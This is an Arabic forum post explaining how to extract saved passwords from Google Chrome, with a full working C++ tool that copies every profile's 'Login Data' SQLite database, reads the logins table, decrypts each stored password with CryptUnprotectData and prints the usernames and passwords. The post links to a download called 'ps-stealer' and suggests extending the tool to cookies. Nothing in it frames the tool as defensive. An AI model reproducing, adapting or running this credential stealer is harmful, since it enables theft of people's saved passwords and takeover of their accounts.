طريقة سحب كلمات المرور من جوجل كروم

تم تحميل الصفحة في 0,9931876 ثانية
طريقة سحب كلمات المرور من جوجل كروم
إنضم
27 يناير 2018
المشاركات
567
الإعجابات
506
النقاط
93
هذه هي طريقة سحب الياسوردات من الكروم :

1 - البحث عن مسار قاعدة البيانات
2 - نسخها لمكان آخر حتي يمكن فتحها والكروم شغال
3 - استعمال sqlite لفتح القاعدة
3 - استخراج الاسم والباسورد المشفر
4 - فك تشفير الباسورد باستحدام CryptUnprotect

وهذا مثال بسيط

C++:
#include "pch.h"
#include <iostream>

using std::cout, std::cin, std::endl, rad::RandomString, rad::RandomUInt, rad::string_view, rad::string, rad::wstring;
using namespace rad::sqlite;
using namespace rad::color;
namespace fs = std::filesystem;

struct BlobDeleter
{
    using pointer = DATA_BLOB*;
    void operator()(pointer p) // this is a pointer to a variable on the stack
    {
        if (p)
        {
            if (p->pbData) // this must be returned from CryptUnprotect
                LocalFree(p->pbData);
        }
    }
};

struct FileDeleter
{
    using pointer = fs::path*;
    void operator()(pointer p)
    {
        std::error_code fs_error;
        fs::remove(*p, fs_error);
    }
};

std::vector<fs::path> GetDbPath()
{
    std::vector<fs::path> paths;
    std::error_code fs_error;
    wchar_t wpath[] = L"%SYSTEMDRIVE%%HOMEPATH%";
    wchar_t WideBuffer[MAX_PATH];
    if (DWORD length = ExpandEnvironmentStringsW(wpath, WideBuffer, MAX_PATH); !length || length > MAX_PATH)
        return paths;
    fs::path base = WideBuffer;
    base /= LR"(AppData\Local\Google\Chrome\User Data)";
    if (!fs::exists(base, fs_error))
        return paths;
    for (auto& entry : fs::directory_iterator(base, fs::directory_options::skip_permission_denied, fs_error))
    {
        if (!entry.is_directory())
            continue;
        if (fs::path path = entry.path() / "Login Data"; fs::exists(path, fs_error))
            paths.emplace_back(path);
    }
    return paths;
}

bool DumpDataBase(const fs::path& DbPath)
{
    std::error_code fs_error;
    fs::path TempDbPath = fs::temp_directory_path() / std::string(RandomString(RandomUInt(5, 15)));
    fs::copy_file(DbPath, TempDbPath, fs::copy_options::overwrite_existing, fs_error);
    if (fs_error)
    {
        cout << red << "[!] failed to copy the database to a temp dir : '" << TempDbPath.string() << "'" << endl;
        cout << red << "[!] error : " << fs_error.message() << endl;
        return 0;
    }

    cout << green << "[*] copied the database to " << TempDbPath.string() << endl;

    std::unique_ptr<void, FileDeleter> DeleteOnClose(&TempDbPath);

    SqliteDB Db(string_view(TempDbPath.string()), SqliteOpenFlags::ReadWrite);
    if (!Db)
    {
        cout << red << "[!] failed to open the database with error : " << Db.ErrorCode() << " , " << Db.ErrorStr() << endl;
        return 0;
    }

    SqliteQuery query(Db, sqlite_no_format, "SELECT * FROM logins");

    auto result = query.Select();
    if (result.HasError())
    {
        cout << red << "[!] failed to query the database with error : " << result.ErrorCode() << " , " << Db.ErrorStr() << endl;
        return 0;
    }

    std::vector<std::pair<string, string>> UsersPasswords;

    for (auto& row : result)
    {
        string_view username;
        std::span<const uint8_t> PasswordBlob; // the username and password are views and valid only for one iteration

        row >> sqlite_index(3) >> username >> sqlite_index(5) >> PasswordBlob;

        if (username.empty())
            continue;

        DATA_BLOB InBlob{ PasswordBlob.size(), (uint8_t*)PasswordBlob.data() };

        DATA_BLOB raw_out_blob{ 0, nullptr };
        std::unique_ptr<void, BlobDeleter> OutBlob(&raw_out_blob);

        if (!CryptUnprotectData(&InBlob, nullptr, nullptr, nullptr, nullptr, 0, OutBlob.get()))
        {
            cout << red << "[!] failed to decrypt a password with error " << GetLastError() << endl;
            return 0;
        }

        UsersPasswords.emplace_back(std::make_pair(username, string{ (char*)OutBlob->pbData, OutBlob->cbData }));

    }

    for (auto& Result : UsersPasswords)
        cout << aquoa << Result.first << " ==> " << Result.second << endl;

    return true;
}

int main()
{

    cout << yellow << "[*] This is a tool to get passwords from google chrome\nIt can be improved to obtain some other data like cookies ...\n";
    cout << blue << "[*] to continue enter s" << endl
        << "[*] to exit enter q" << endl;

    char choice{ 0 };
    while (choice != 's' && choice != 'q')
    {
        cout << ">> ";
        cin >> choice;
    }

    if (choice == 'q')
    {
        cout << red << "[!] press any key to exit ..." << endl;
        getchar();
        getchar();
        return 0;
    }

    std::error_code fs_error;
    auto DbPaths = GetDbPath();
    if (DbPaths.empty())
    {
        cout << red << "[!] failed to find any chrome database" << endl;
        return 0;
    }

    for (const auto& DbPath : DbPaths)
    {
        cout << olive << "[*] dumping the database at '" << DbPath.string() << "'" << endl;
        if (!DumpDataBase(DbPath))
        {
            cout << red << "[!] failed to dump the database at '" << DbPath.string() << "'" << endl;
            break;
        }
    }

    cout << green << "[*] finished !\npress any key to exit ...." << endl;
    getchar();
    getchar();
    return 0;

}
رابط البرنامج

ps-stealer | تحميل
 
الإعجابات: 4w1il

الأعضاء النشطين حاليآ الذين يشاهدون هذا الموضوع (1 عضو و 2 ضيف)

خيارات الاستايل

نوع الخط
مودك
اخفاء السايدر بار OFF
توسيط المنتدى OFF
فصل الأقسام OFF
الأقسام الفرعية OFF
عرض المشاركات
حجم الخط
معلومات العضو OFF
إخفاء التوقيع OFF

إرجاع خيارات الإستايل